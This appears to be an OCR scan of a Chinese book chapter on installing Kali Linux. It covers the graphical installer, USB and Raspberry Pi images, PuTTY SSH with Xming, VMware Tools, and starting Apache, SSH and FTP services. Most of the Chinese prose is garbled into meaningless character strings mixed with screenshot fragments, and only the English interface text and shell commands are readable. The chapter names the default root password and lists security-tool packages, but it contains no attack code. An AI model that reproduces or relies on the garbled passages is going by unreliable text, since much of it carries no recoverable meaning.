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Press ENTER to boot or TAB to edit a menu entry
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Select a language

Choose the language to be used for the installation process. The selected language will also be the
default language for the installed system.

Language:
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I E [~

En [wm |[Cw= )

B 15 il B e

(3) {EZFHEFHMEACY “DOE” , Riasad “4ka:” 2, K ExnwlE 1.6 o
ZN:AE LRI

(6) EFMACREE REM N4, X HAF BN THLA Kali CH P rT B
CRAMZT) o« RJade “4kal” $240, % Lol 1.7 frosi) ftii.
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KRR

HHARFOENE,

%g&%&ﬂﬁmﬁﬁ@ﬂ%ﬁﬂ—?ﬁﬁam%%*ﬂﬁiﬂ%%ﬁi.ﬁmﬁﬂ@ﬁﬁﬁom¥@Eﬁﬁﬂﬂﬂﬂﬁ.Wiﬁu%ﬁ%?
FNE:

[ari 1

- EEEE |

. 4

& [ e

Kl 1.6 RACE M

KBRS
HERENERABIN—88S . IHIEEIIRZE. CESRL .com, .net. .edu & .org %B. MRCEEEE—THNSAS. E8
LSS —1. EREHRTAET SRR —tmn.
%%
[kali.secureworks.com ]
| EEaE [ am e

P17 AoE M

C7) 2500 R B v SALIT A T 3k 47, A b i AR 4 4 kali secureworks.com.
AR YFEFFEALA A RN SRR, ARG, HERd “4hs” H#Hl, B
U 1.8 Fros Y 5 .

HRAr R

EREH“root” AP (BRTERANKS) £8— 25, NRTEECEHENMS HST root NIRIGEIES S BEEMER, BLER
i DihER— - FEB FH N root B, ERNER—TSEEFESPEANATHE— | REEARRELRNEE.

—rueNEELiEEnTE, RPN SrSEHanN. mEEREER.
BAPREERTEG, NROGLEE BEPkAontnEREnIEae kRS P REL Y sudo " MBRSER R,

IR, CHFSFIMRANSENAS.
Root AFEW :

‘ssssee
0 TRETHEBENER, HEREAEEN root #3,
PRI A B LB R R :
[eossee
[ memm | [ &m [ m=

K18 BCEH A
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(8) 7RIS E root HIF &S, MGy “4Ral” J%Hl, Kk 1.9 Fra
ﬁﬁo

BMENR
gﬁggﬁﬁ%ﬁﬁ%m&@ﬁﬁﬁimﬁﬁﬁﬁ& MRTER, FRALFHRE AREFTARAS. HEGTIEGISEENNER
1 ‘AAo
HRTAFRERDSRASHE ERHTHR, TR EREme-#EE.
HETE
P - @ (i
A% - EAE - EE LVM
A% - A% - EFRENEN LVM
Fah

| REamE | [ Em || e
K19 BdAIX

(9) St Pk FE o X X HLERE “AEH AR . ARl “AREL” AL

B 1.10 B iR .

BENE

EETPHAENEE ENeSBIEET SR, (ERTTERERNEIERhmilS.
ARSI
1 SCSI3 (0,0,0) (sda) -85.9 GB VMware, Vware Virtua S

EREE | | &m || s |

M 1.10  HEEE X

(10) PZ S RIEFE Y XA B 1Z ARG AT - HRBiaE, B LU AR R IA B
FEAUPTEA T o SRJG ke “gks” $Hl, R o 111 Frasiy S .

(1) Al ERIE SR X 5 %, UMM T =Ry . RIS “ R By SCIF il
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FHH



H 1% Linux 4B R

BEAE

EIEERTX
SCSI3(0,0,0) (sda) - VMware, VMware Virtual S: 85.9 GB

M EE P UERSHFRANARATOE. AREARRE. HiLFRE—T%.
PEGE:

| sratmER— AR EEHFEm)
|19 /home MR ENAIE

1 /home. Jusr, /var fl Aimp EHHIMTR BN

RREE | | &m || @ |

111 Sk

BENR

LEREENCEENOEE R GINTSE S, WAE— [ HELIEXNERE (XHAHRT, ##5S) . StE—REHTELOEFIX. T
B E— it A LG R X .

RNEAF

i RAID 28

REEEZHTERS

EEmEs

- SCSI3(0,0,0) (sda) - 85.9 GB VMware, VMware Virtual §
> #1 INE 82.4 GB f ext4 I
> #5 {E#HNE 3.5GB f swap swap

HEH I EEERER

112 BEEIX

(12) fEZFESF “ R BE S AR B S AR, )G Hd “4R8:” 3%l %
T 113 o dim. WA AREE U, AT RIS LR “HUE xS o X B E 2
7, BT rIX

(13) eSS “7 BIEHE, M58l “4k8:” $&#l, FriamlE 114 Prosm
Frifi
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MENE

MRS, LIFAAIHAESAET S AR, FNMEaLuTE—FaFhEs.
LU & F 53R R e

5Cs13 (0,0,0) (sda)
LUF R ST

SCSI3 (0,0,0) (sda) it EAUE 1 ARIFHTED extd
5CSI13 (0,0,0) (sda) i%& FA9EE 5 HEGHITES swap
B SAEN ?

O &

| memE |

M 1.13 R IX

RERHA

EERERY...
FERSIEE IR

K114 ZHRE

(14) MAEMIT IR LR RA T« R PR EEE A ER, i EMNHRER,

i 1.15 Fizm. MHeeds Kali Linux RSP ERE 2 ML 1008, ik
CETOEIRME, ARJGEGE YRS Rl XGRS T EIEHE, BB 116 FrRi
B

ER¥H NS _

ERAAwFES
MR ELURE AT A, LB R R R AR
HREFRER HTTP (AREEN SRS . Ao EmARENEE. &, FEF.
e HEE S S http: /IR 21E ER] @) EH AL B O SRR L,
e HTTP (BB E (MRIFFED
@ & [ I
BEAE

E[E| fHE

[ meam Cmm [ we

Pl 115 TilE e mas

Kl 1.16 i HTTP LI
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(15) RSB E HTTP ARA(E . WRATEH T HTTP AFUKE 2 A M
SRR, EER CAReE” JZH] R Wos i 117 Bras i S .

ERV4AEES

EEEPEREETIES o

IETIER SRS, .

K117 s s

(16) FARMBIRIEIERG, K5 BB 118 Py FHi .

ERKGAEES

TR SRR EIRS FEITEANRE -- IS TRYE. EECECNER. $F—ERRFNEE.
Debian IG5 FAEIIER :

BRI =

Lzt R =l

BRE

g

w/HF

]

Fmi

FEESEE

waE=

Tl

e

BAH

E

FIE eI

=E

HE

EH
|

[ meam | em  |[ ms |

B 1.18 B im{E i

(17) TEFFHER GG AT 5, X kR <P ” , SRJG s “4kel” Jefi,
¥ B8 1.19 Fras it B

(18) ZFFMENRME T 7 MEHGuh s, XHIESF—AMEAARREBEE S, X H
& FF mirrors.163.com, RJ Bl “AREE” $2H], B R W 1.20 Broas i) St .
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Linux 7475 3% i) i 2 A

ERRA4LTES X
ifi%fE—1- Debian 135H 8. ARTEFNER T RIGSEZ AARSEERT. H#ERGTENEF XGRS

iBE. ftp.<THMEFAE>.debian.org S&— 1 FoFLE (R 2HN. PEMEESSEEFRYD. IRTTEEREERNRS
8. HERLERE).
Debian FI58S :

ftp.cn.debian.org
debian.ustc.edu.cn
cdn.debian.net
www.anheng. com.cn
debian.bjtu.edu.cn

mirrors.sohu.com

| memm

119 BefEss

8 GRUB RBEW&
(ﬁ'ﬁﬁﬁ&ﬁﬂﬁﬁﬁ%ﬂéﬁﬁﬂﬂ&—ﬂ%ﬁt& MFAENN. EEEELUEST GRUB BH5| SSESAEEANIEISEE
MBR) t.

S RDEEFTEETNITEIL ERVBDFENL CRERE. ERI5| SFCRFEITNSERIMERITERD). B, FaLH
EEFHiEE GRUB LIEEE.

#7 GRUB Bi5| R SEEFI5IFCF (MBR) 157

| menm

K120 ¥ GRUB Jdzh5| 88|55l (MBR) g
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(19) TEiZFHES “&7 HIEHE, W5Hdr “gkal” %l ReamiE 1.21 i

Fr1H

8 GRUB REER &

%% GRUB H:h5| 58

FFiE{T "updategrub"...

€ 1.21 ¥ GRUB Z&: 4 hdi

(20) DERPREAREREAT 222, ARCBERERET, K Wom i 1.22 Bros iy 5t i .

BERREGRE

BETR
g&%&;g@%ﬁi TR EEEA CHFREART . FRIADEEH TREMACER. TE). ST ERRRAIFE
Fid o

| meem | L oEm | e
Bl 122 gt

QD) iz Frmfad “aes:” 2, RoR B2 R G R, R5ERUE, HaHD)
HH RS R

142 RIEZE USB Rz

Kali Linux USB JRa) &5 T Frae ), & RERK AN IRAF R G KA S8 X {1 USB
W B, I H VP Pzt B AR Kali Linux. 75 Win32 #EHE g F
A Linux RATHUE—nl 5] 5 Live USB BKa4%, & 6LFH Kali Linux [FIFFEEAFff. AT
F 412235 Kali Linux 55 USB SR 88 (03845 20 1%

GHE—ANEE RGP USB W88 E R 3 BT SN . BTLL, 75 2238 2 B i 2
— e T AE. a0, MEES 2] Linux? USB a2 15?7 USB IEBNZA /N T wenees ~
TG 5 — 41 X SE R

O —~ FAT32 #% AR USB $zhds, JF Hig/My 8GB [y« n].

O 4 Kali Linux ISO W%,
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O Win32 B REM (MRS A UED .
O ~i#% Kali Linux M http://www kali.org/downloads/ .
Hi T e TAESE L n, T DR R EE T - %% Kali Linux %)~ USB K5 %

BN (e 3/ T
(1) A2 Windows R0 MEE AT L5 A USB SRah&s. A G, S it

[t 1.23 Brzs
« HUEIRPEAIRE (4)

$ BD-ROM 5155 (F) $ DVD RW BEa1=E (G:)

KINGSTON (J:)

_,.3.'CDE@E(H:) = |
@ S 50cs R, 3 290 e

K123 A#Eshits

(2) JA 4l Win32 Disk Imager, Jrizh 5t 1& 1.24 fis. {E Image File {77, .t (&4
FrikFE Kali Linux DVD ISO WG T /E R 5, 3£ PEFF 22 4% Kali Linux [1) USB ¥4, Al
B Ko JEFE ISO WR A/ USB ¥ )a, iy Wrte #24, K ISO {5 A%

USB 924 1=
[ %L Win32 Disk Imager E@E

Image File Device

I:/IS0iE @371 /Kali/kali-Lirux—1. 0. B-i336. iso [E:\] -

[Copy | ] W15 Hash:

Frogress

| |

Version: 0.8.5 | Cancel || Read | #rite || Exit |

Done,

\ —

€ 1.24 Win32 Disk Imager #]45 71

(3) fH] UNetbootin T F % & K ffi—~ USB fiah{it. i3 UNetbootin 1.5, ¥
Wontn P 1.25 Frzs i) fiim .

r: UNetbootin
O EI7E O (= BEERTR = v |[= ##EE = -
FIEA Wetloorin: BAREIISZERR. Bk:

¢ BERERATRI N A e

= |sl=s|

@ XBERD 130 w | @i Kali ksl i-lime-1. 0. B-i386. ise -

Space usel to preserve files across rebeot: (Ubuntn only): 4096 = MB

N e L e——

E—

Bl 125 EFOCRER
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() TR FHE R OCH AR 7 AEHE, SR 5L FE 1SO SCIFRTTE AT &, JT¥% Space used
to preserve files across reboots ¥ i A 4096MB.

(5) EFE USB JKalids, AGIH) USB Hahash K, RJ5 i “#he” %4, HITH
Gl T 5| 2 USB JR5) 35 .

(6) BUESERUT, R iP 1.26 Brosi) 7t .

r R
# UNetbootin L‘i@u

L THXY Gt

Z {BEADE W SRR

3. T4 Biotlosder (L)

4. BETR. 8 GhEH)

RS, 7% pl0s GEhFFBER 158 B3 8.
WrrEaIe?

[ nmEa | BH |

P& 1.26 UNetbootin 723558 i

(7) LIS, USB IR&h&s st G i) 1. fEizAmsedy “MACES " 4, JEA BIOS
JA B LR USB Ja4l, mt ] BL2ed% Kali Linux #44E R85 T .

143 REZWEIK

WEFIR (J23C4 4 “Raspberry P17, 524 RPD & —3KFE+ ARM 1548 H I 14,
LLSD R WAFRESL . A T 75, 7EM AR 22 dé Kali Linux 22— AN TIERE. A
AN AR AR %% Kali Linux #R1E R 48

(1) M http://www _offensive-security.com/kali-linux-vmware-arm-image-download/ [ 3
B IR AT WAR S, HCPE44 O kali-linux-1.0.6a-rpi.img Xz,

(2) RS ST R — N AE R, AR 7-Zip IS4 AT . s G HAA PRl
kali-linux-1.0.6a-rpi.img.

(3) 1 ] Win32 Disk Imager - H, Rfif 1 Jo WG SO S AN B &R SD <. A
7)) Win32 Disk Imager T-H., Wbzl 1.27 Prasi 5
[ % Win32 Disk Imager = |8

Image File Device
G:\] =

Copy | [T] MDS Hash

Progress

1

Version: 0.9 Cancel :_ Read ¥rite

K 1.27 Win32 Disk Imager J3 h 71

e ]5 .
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(4) 7E 1% 5 55 E FE by, £ +E kali-linux-1.0.6a-rpi.img, 4 27~ W 1.28 Frzs 1) 510 -
(5) BN 7R 1% A ML Write 3240, K BoR i 1.29 Fros iy St .

- ™
%4 Win32 Disk Imager ol
Image File Device

F: /TSORGR 57/ Kali fkali-Linux-1. 0. 6a-rpi. ingl G\l =

‘E??Sl—, LAE Writing to a physical device can corrupt the device.

(Target Device: [G\] ™)

Frogress
% i : Are you sure you want to continue?
Version: 0.9 Concel |[ Read [ #rite [ Exit ];J [ - ][ = }
B 1.28 s om g oA 129 #iAE ABAR I EER

(6) ZF MR B EEHMABAT G W&AT? X HIEFE Yes, F B g 1.30
FIT s ) FL T
(7) MAZFHH AT LA BLEA S NEIG . SAERq, KSR 1.31 Fiosi Fim.

Y

& Win32 Disk Imager — . @ﬂn

Inage Filz Device

Fo TR R/ Fal: fkali-Llinuz-1, 0. Barvpi. img E] [G:0 .=

.EJPY| [C] ADS Hash: A& Complete

RERRTRAY Write Successful. i
L] | o%

Fersicn. 0.3 Cancel Read | Vrite
24.7TIMB/s
\
K130 JHES AEHR B 131 SEmS ANEHR

(8) Mzt a] LU 25 A K sl e 8y OK $44ll, RaR [ml 21 1.28 Fros (i 57
Ifl. 28 )5 8 Exit #41, OCH] Win32 Disk Imager I}

(9) Bt A Windows ZGEH 3 HY SD &, JF HAFHAGABIR 48R . R )53 SR
a5 fl RRE . Rbr. ALY, LY G S 3 Kali Linux #44F R4 446 Kali ERIAE
P 44 R 6 e, BT P 44 R AT A root A1 toor .

oS A5 I AR Y Kali >R Bl — L85 25 LR BRI, 32X 5L n] LU PuTTY
P B8 sk 3 Kali Ay 217« B T7E Linux " SSH RS ER A2 i sh iy, B BUH P R
PuTTY ] SSH IR 2519 22 v 1 e %4 3] Kali Linux. PuTTY AMUAL M AEEFE %42 2]
PREIR 01 Kali $1E R S8, & AT USSR B AR Bt BN Kali #:1F RS0 T A /24
fFH PuTTY LH, 2%+ 3 Kali Linux #:/E &R 4.

(1) F# PuTTY () Windows [z 4%

(2) Az PuTTY TR, FRaufE 1.32 Frosiy 5.

(3) 7Ei% 71, Host Name (or IP address) Af W) SCAHE P4 Kali ARZE) IP Hulil,
J H. Connection type ¥+ SSH. #RJ5#i; Open #44], ¥ Wi 1.33 Frosf Fim. g
ANKIE Kali 2% TP {915, W4T ifconfig W2 A5 -

« 16



(48 PuTTY Configuration L -
| Category: )
= Session Basic options for your PuTTY sassion
L d- he destination you wart to connedt to
P Host Name (or IP address) Port
G 152.168.6.101 2
Features 2
I[| & Window ©Raw (© Teinet © Riogn @ SSH (D) Serial
- Appearance a
- Behaviour Load, save or delele 2 stored session The server's host key is not cached in the registry. You
Transiation Saved Sessions have no guarantee that the server is the computer you
Selection think it is.
Colours The server's rsa? key fingarprint is:
Default Settings Ry Bngarn
- Connection LLM;] ssh-rsa 2048 07:f9:c5:2a:f1:6a:3b:75:04:Dd:6d:6b:82:f5:21:f8 |
- Data I you trust this host, hit Yes to add the key to
- Proxy PuTTY's cache and carry cn connecting.
[~ Telnet If you want to carry on connecting just once, without
Riogn adding the koy to the cache, hit No.
(- SSH If you do not trust this host, hit Cancel to abandon the
— Close window on ext: connection,
() Aways () Never  (© Only on clean exit
[ s J[ am J[ == ]
u J

K132 PuTTY TH K133 LR

(4) ZAMER T NELEL, A T Lot & SRR RIS 4% .
HE A RS RIERHE G TN A 2t IX Al < th%ﬂ B 1.34 frosi
FrT .

i
2P 192.1686.101 - PuTTY B

login as: root -
root@192.168.6.101's password:
Linux kali 3.13.0 #1 PREEMPT Sun Jan 26 03:02:20 UTC 2014 armvél

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

[Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.

Last login: Tue Jul & 07:51:02 2014

root@kali:~%

134 &okH Kali :R4E

(5) TEZ S M A Kali 2R GEER AR H] ™ dir MU RS 8 % B R 4 BLERE AT LATE 1%
IEATALT a2 T .

WL P AN AL 24T P RAERLE,  thn] DU IE RS Kali Linux FEJESR M. K
TKE A 41303 22255 Xming B0PF, SEHLYE PuTTY FiE#:E] Kali $4F R 4000 BB Fm .

(1) M http://sourceforge net/projects/xming/ ¥ ¥ 2% Xming £},

(2) JH 8l T Xming #0F, FF Rl 1.35 Frocit) Ftif .

(3) SR T Xming [FUCE B PRI Next $8, F Wil 1.36 iR
S

(4) {EIZA LR Xming (4507 E
ARHNEL 137 PR .

(5) TR T E 22 A I . 3X LI FF Don’t install an SSH client 2111, #A 5 #.ii Next
8L o P 1.38 B Ftii .

ZRET,

o IXEAFHEGATALE, B Next f&Hl, iR

e 17 -



S5 15 Linux %2980 Il B

Welcome to the Xming Setup
Wizard

This will install ¥iming 6.90.31 on your computer.

It iz recommended that yeu clase all other applications before
continiing

Clicke Next to cortinue. or Caneel to ot Sctup.

Select Destination Location
Where should Xming be installed?
-

l Setup willinstall Xming irto the following folder

To continue, click Nexd . f you would like to select a cifferent folder, click Browse

C:\Program Files (xB6)*Xming| Browse:..

At least 47 MB of free disk space is required

B 1.35 XKIMFLm

Select Components Select Start Menu Folder
Which components should be instaled? Where should Setup place the program’s shorteuts?
= =
i:gﬁ S&f%&f’ﬁg x: :;%‘;,‘;iagﬁﬁ:we EERESES T R i Setup wil create the program’s shortcuts in the following Start Menu folder

[Cuslum installaiion A
[] ming binary 4.1 My
o] Mon US Keyboard support 34MB

unch wzard - frontend for ming 10MB
Run utility -start programs with hidden console window 0.1 MB
lormal PuTTY Link SSH clienl 0.3MB
(7 Portable PuTTY Link S5H client - use with Portable PuTTY 0.3MB
| o

Current selection requires al least 0 MB of disk space

To cortinue, click Next . If you would lke to select a different folder, click Browse.

Perinc] Browse...

[7] Dont create & Start Menu folder

[ <bak ][ med> ] [ Ccancel

[ cBack ][ Nex> | [ Cancel

P 1.37 RN

1.38  ZEHFE R Sh sk

(6) FEIZFIEFERBN PO, X B ERVA R Xming, W0 RAEE AN [F] ) 301k,
Fil7 Browse {2 HIIEFR B SO R Qo RAEFHBROAG), W Next 124, R =i 1.39
LT

(7) {EiZF LR Xming G @ 1) P4E T . 12 %k$F Create a desktop icon for Xming
(fEs BVt o) SZIEHE, MRJ5 Hdi Next #41, RfE7m Wil 1.40 Frzs (i 7 im .

Select Additional Tasks
Which additional tasks should be parformed?
-

Ready to Install
Setup is now ready to begin instaling Xming on your computer.
-

Select the additional tasks you would lilkke Setup to peform while instaling Xming, then
click Next

Additional icons:

Create a desktop icon for Xmirg

Click Instal to cortinue with the installation, or click Back if you want to eview or
change any setings.

Destination location
C\Program Files 6c86)\Xming

; Setup type:
I [C] Create a desktop icon for XLaunch Codties iidtallobion

7] Create a Quick Launch icon for Xming
fl z Selected components:

[C] Ureate: & Uuick Launich icon tor XLaunch ing binary

. Non US Keyboard support

f SRR XLaunch wizard -Trontend for Xming

Associate XLaunch.exe with the daunch file extension Run utility - statt programs with hidden console window
I Dont instal an S5H client

1 v
[ <Bak ][ Nea> | [ Cancel [ <Back | nstal | [ Cance

5 139 EFEESMOHES

« |8 -

Bl 1.40 #E& 20%E Xming
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(8) JE i i i (15 4 Xming $H4T TRCE . BLACHE & 2¢%, Bli Install #6640, B on
W 1.41 Bros i) A .

Completing the Xming Setup

Wizard
~
Setup has finished installing Xming on your computer, The
il application may be launched by selecting the installed icons.
I Click Finish to exit Setup.

- [#] Launch Xming

M 141 Z3em

(9) MiF e LIFE S| Xming W25 . Mol 8y Finish 28R MR E, JfF
H Xming ¥ 2iaq7. WHAME Xming /3115, ¥ Launch Xming /Y & L HE 6 2)
PR

(10) BIZEHTJF PuTTY T, JF HAA Kali REE0N IP Hulik, 11E 1.32 fis. RIS TE
PuTTY /:fll#% Category FHKVKiIEHE Connection|SSHIX11 w4, # Bld 1.42 Finm
Fii

r M
#R PUTTY Configuration - M

Category:

i - Keyboard o Optians controling SSF X11 forwarding |
i b X11 forwarding

f: e [¥] Enable X11 forwardin

(= Window ] b Lok

;- Appearance X display location localhost:0
Behaviour Remnte X11 a1 thenticatinn pratacnl

i i~ Translation ©@ MIT-Magc-Cookie-1  (©) XDM-Authorization-1
i i~ Selection X authortty file for local display

i =Colours
(=) Connection %]
i~ Data
- Proxy
i~ Telnet 3
?--Riugin
B 55H
i ieKex
oty
LN
e Tunnels
i Bugs
i Seral

(opn ][ concn

1

142 ME PuTTY

(11) fEiZ 7113+ Enable X11 forwarding 52 EHE, Ff H7E X display location X I [1}) 3
AMEP 4N localhost:0. #A )5 Bl Open 44, H3) PuTTY & if (— & L% Xming 755
FiziT) o RaknH Kali REH AR, RInERE Kali #ER80, Wik 1.43 Fis.

+]0 .
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[ 1921686101 - puTTY [E=EE )

login as: root
root@192,168.6.101"'s password: 3@
Linux kali 3.13.0 #1 PREEMPT Sun Jan 26 03:02:20 UTC 2014 armvél

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent

permitted by applicable law.

Last login: Tue Jul 8 DB:27:57 2014 from 192.168.6.102

root@kali:~# -

Bl 1.43 ik

(12) MiZFLE el LLE BRI E 3] T Kali #E 245, II/E gt o] UZFEZES: T Kali 1)
FESRm T, BATaA W TR

root@kali:~# xfce4-session
PATUA B fin & )5, e ¥ e B Kali RGN

L8 EPuTTY T, startx @4 RASIEAT.
144 %3 ZE VMware Workstation

VMware Workstation #&— 3K D BEGR A 5L 11 KEFL T AL . & RvrH P ER— R
M BRI IEi AR RS . H A el DT R . AR S N AR, H
W EGHT A E 10.0.1, 5 FihhE https://my vmware com/cn/web/vmware/downloads. 4«
ANFTHE A 4H/E VMware Workstation | 225 Kali Linux #:1F R4¢ .

(1) JA3) VMware Workstation, K 7= W1 /€] 1.44 7R (1) L .
(i@ vMware Workstation | =)

MR WEBE) =E(V) ERHM) ERET BEH)
Pl A DO D= RO

@ xE x|

vmware

Workstation 10

RS
%%
é

ReFEH
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Boot menu

Live (686

Live (686-pae failsafe)

Live (forensic mode)

Install

Graphical install

Install with speech synthesis

Press ENTER to boot or TAB to edit a menu entry

K153 e m

(12) P oRALZEFREMZES 1.4 DR AR —F T, XHEBAHER.
145 =3I VVMware Tools

VMware Tools it VMware UM B 77 1 - Fhf5m T | Ssum | w=m )

oo gt VMware S0t RS FRBA R, UL 5 ;@f:mﬁ{m '
[0 LS ENLN B IR AN R . ATAE VMware KEH o Ctl Shift+
HUHp 25 1 VMware Tools | HL 5, A RESZILEHL S ERIHL = gﬁ\““t*ne' e
Z I SCPEIEEE, [ el SRy A B R ThhE, B ey X

FEREAUALE L) B A 3 CARHTFHE Cul+Alt 2 58D . e Cirl+Alt+PrtSen

LY |
AN KA 2 VMware Tools FiFF 40285 . N
& BEM) ]

(1) 7F VMware Workstation 2B £40, KIRIEFE “ 23 VMware Tools..

FUHL” | “ 4242 VMware Tools...” @74, WIE 1.54 fios. 0 =) Curl+D
5 ek 5
i (2) \fl\ilware Tools %% #4 /7 3] /mnt/cdrom/ | 5% . 154 %24 VMware Tools
AT Air 2 R o
root@kali:~# mkdir /mnt/cdrom/ #HEEHEE A
root@kali:~# mount /dev/cdrom /mnt/cdrom/ HERRERERF

mount: block device /dev/sr0 is write-protected, mounting read-only

HHL EREEGE, FR VMware Tools 22 fE R8I T .
(3) MR BIEEEAT R, s 223 7 VMwareTools. U7 dr-% W F Frs:

root@kali:~# cd /mnt/cdrom/ #iRE5
root@kali:/mnt/cdrom# Is EELHAEHRTHIXH

manifest.ixt VMwareTools-9.6.1-1378637.tar.gz vmware-tools-upgrader-64
run_upgrader.sh vmware-tools-upgrader-32
root@kali:/mnt/cdrom# tar zxvf VMwareTools-9.6.1-1378637 .tar.gz -C /

#i#E VMwareTools L2312
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WATLL Edr 4 )5, VMware Tools F& K@ 2/ H X, HER—1T8N
vmware-tools-distrib {3,

(4) P)E] VMware Tools [ H sk, FHBAT 2827, $ATH S WHIIR:
root@kali:/mnt/cdrom# cd /vmware-tools-distrib/ #7488 %
root@kali:/vmware-tools-distrib# ./vmware-install.pl HEITRERERF

PATUA b4 )5, SIS, Xete T “Dld" &, H2EAE.
(5) EH A shiHE L

1.5 Kali #H5HA %R

P — BN RILLRG Rl RER ERTE B TR B R G D ARSI AN, M2
HHEALRTE Windows RN —FE, AW H O Linux #4771, %4k, Linux A5 52
AT RSE, SRS AFRBA R, Linux RATEFHNZBIEAREH . EX
BRSO, 22X Linux HEAT A0 WARIEHIET) 7. AR 28 Kali (198 5 5714

BEHS T4 Kali [ FARRAED IR NPT

(1) fEER MK GERE “ SRR | “& A 7 TrEERRERMaRratan

SR | R drd, R 155 pilid i o ————

Y AL mEO || mumme)
(2) TR R R RUH P & 0

JEAT NIRRT, WAk, Ml TR M55 BERER

$HL R s P 1.56 Bros i Ftim .

KA EH [N -

% 345 A EHTHA
HEEFE ERGPER, ST LML R,

v An 802.11 WEP and WPA-PSK key cracking program
aircrack-ng-1.2-beta3-0kalil (32 {iI)

@ Apache HTTP Server metapackage
apache2-2.2.22-13+deb7ul (32 {iI)

Apache HTTP Server - traditional non-threaded model

apacheZ-mpm-prefork-2.2,22-13+deb7ul (32 {i)

g

utility programs for webservers

apache2-utils-2.2.22-13+deb7ul (32 {i

7 Apache HTTP Server common binary files st

apache?2.2-bin-2.2.22-13+deb7ul (32 {iI)
7 ApachE_H_TTP Server_ (ommnn_ files o 911
apache2.2-common-2.2.22-13+deb7ul (32 {iI)
A tool for reverse engineering Android apk files 5M
ERES R
© =mEsiEH,
BEE 345 1B (971.5 MB) B (Q) BEEH()

M 1.56 BAeEdEE
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(3) EFAMER T B 345 MRAFR TSR, BT el KB
B 1.57 fros iy FHif .

(4) ZFHAE R T 2 %8 B MR ) A, By “ AR El” F, K o] 1.58
BT i FE 1 -

KW ezl
WEMI BRI
KEFUTUHE , BROREBEREY, % 345 T RHETA
REBFHIBERGPHHER, EHRSWEURB I
| BR _ﬂﬁ i'\ _, Browser Exploitation Framework (BeEF) — bundled ruby ... o . -

HTARMBER  FRERRUTRE: 6302 MB P e A T e

- A firmware analysis tool

80.0 KR
ﬁ arp scanning and fingerprinting tool I binwalk-1.2.2-1-1kali0 l
i - - - Bluetooth scanner and logger

ﬁ Ethernet/FDDI station activity monitor biuetag:1d. 21 a1 (3201
ary tct ] - Mass SNMP scanner 13 KE
p braa-0.82-1kali3 (32 il
A light download accelerator - console versi : i
g eal - Bully is a new implementation of the WPS brute force att...
bully-1.0-22-0kalil (32 {if)
> Microsoft Cabinet file unpacker .
ﬁ \ A - Network sniffer to extract CDP information
narf-0.1 1kali3 (32 1L

Configuration tool for amateur radios
“E‘ 9 Custom wordlist generator o

= /-5 0-1kali5 B
R
| ERHE(Q) i3t BT 345 2 (971.5 MB) | sEsi@) RRBH(
Bl 1.57 st Pl 1.58 AR SR R

(5) MIZ S AT AR BV A S8 ) — N B . ARz b, ] BUE B & A — Ao
FPRA . Hob, )5 i IRmE by, SR 2R IR NG R B h@E bR, &
R E T W RN @@ KRS, Foarwdseizikia)E, RHEERD
ARG XA LRI G, KRR SR bR, XN AR L, SRS BT
FE &Y. EEHREfD, K PR ITasasskalE—o. e, B3R
FHHY -

(6) EHHAMRE)G, SRINREWNIT 1sb_release -a iy 4 & H UHTHRAE RZE R IR
AR BATA AW R R

root@kali:~# Isb_release -a

No LSB modules are available. #ICHEY LSB #&5Hk
Distributor ID: Debian H#EZIThR
Description:  Debian GNU/Linux Kali Linux 1.0.6 #EIAER
Release: Kali Linux 1.0.6 #EAFER
Codename: nl/a #X S

M s B, WTRUE Y EIRGEMA N 1.0.6. Ll B 4G TAra R Linux, £
#% RedHat, SuSE fll Debian ZE & AT . WHEAN A A RAS, n LLE Hetc/issue L. AT
fir 2 U R BT s

root@kali:~# cat /etc/issue
Kali GNU/Linux 1.0.6 \n \l

M AR B, aTRUR 8151 R4 A 1.0.6.

« D7 .



S5 15 Linux %2450 Il B

16 & K&k &

(ERTHI%: ) T Kali Linux 800k R 28, 2Rma T LGB RE T. Bk R
Gee, RRAT DU S A VR T HA U SREHLONEt. o0 7 5 (0 I P A 5T, AT
¥ /41— F Kali Linux [J5AR# .

1.6.1 BEIEARIARSE

Kali Linux 7 JUNREIRS, SIS, HEBRUURAERN. fo%E,
S5 A A FH T 3 B I S A AN IR S

1. BEhApachefi %

5l Apache [IR55 . AT AT U1 B RS

root@kali:~# service apache2 start

A LR

[ ok ] Starting web server: apache2.

it B5 B 28 Apache [R5 AR 8. O THIAIRSS & IEAEIEAT, AT AR A

g ) A Hb Al . AR N A g ) AR A, RIS AR EAEIE AT, R R 1.59
BT g St 1

Iceweasel Hdu
File Edit View History Bookmarks Tools Help “
J (I http://192.168.41.235/ @
@ [@19216841.235 v €| [@v Googe Q) &

[ Most Visited v lilOffensive Security S, Kali Linux "8 Kali Docs ﬂExploit-DB ‘Aircrack-ng

It works!

This is the default web page for this server.

The web server software is running but no content has been added, yet.

9 1.59  Apache i 45 #4515 [l FLm

2. JBEhSecure Shell (SSH) fR%
JA %) Secure Shell (SSH) k%5, AT w2 W FEr7~:
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root@kali:~# service ssh start
[ ok ] Starting OpenBSD Secure Shell server: sshd.

A BB tH R o SSH kg LR sl 4 7 afAIRSS i 12 gk, irin
B i 2 -

root@kali:~# netstat -tpan | grep 22
tcp 0 00.0.0.0:22 0.0.0.0:* LISTEN 7658/sshd

tcp6 0 0::22 o LISTEN 7658/sshd
3. BEFTPARS

FTP JIR 55 RV BT 220600, LU SE 77 B840 FTP 95 4% 71 Kali Linux #:4F R 48
AR AT IS P ERA A PR AL FTP IS5 48 A 22, X H 77 S RO A — A 50 & 4RI Y
HARRAE LRI R AT

(1) & APT Y. [u] S5 S /ete/apt/sources. list "IN EA LA BEAR Mk $AT v
LU R

root@kali:~# vi /etc/apt/sources list

deb http://mirrors.neusoft.edu.cn/kali/ kali main non-free contrib

deb-src http://mirrors.neusoft.edu.cn/kali/ kali main non-free contrib
deb http://mirrors.neusoft.edu.cn/kali-security kali/updates main contrib non-free

s L EJLAN G, KR AE sources.list SCAF IR H o FEIZSCIET, IR 2
R AN [R] T R 7 250 . Horhr, deb i3 22 DEB AL H ax¢; deb-sre 48 (172 U565 F .
BAH BTN E G ENE, A LAA 4552 deb-src. T deb-src 1 deb St Bt B,
A LLANIG 5E deb-sre, {Hi2 G798 deb-src [I1{E, deb JL A 2035 E 1.

(2) Wy, FESHRAOERGEA TN . SRR, dras
ks

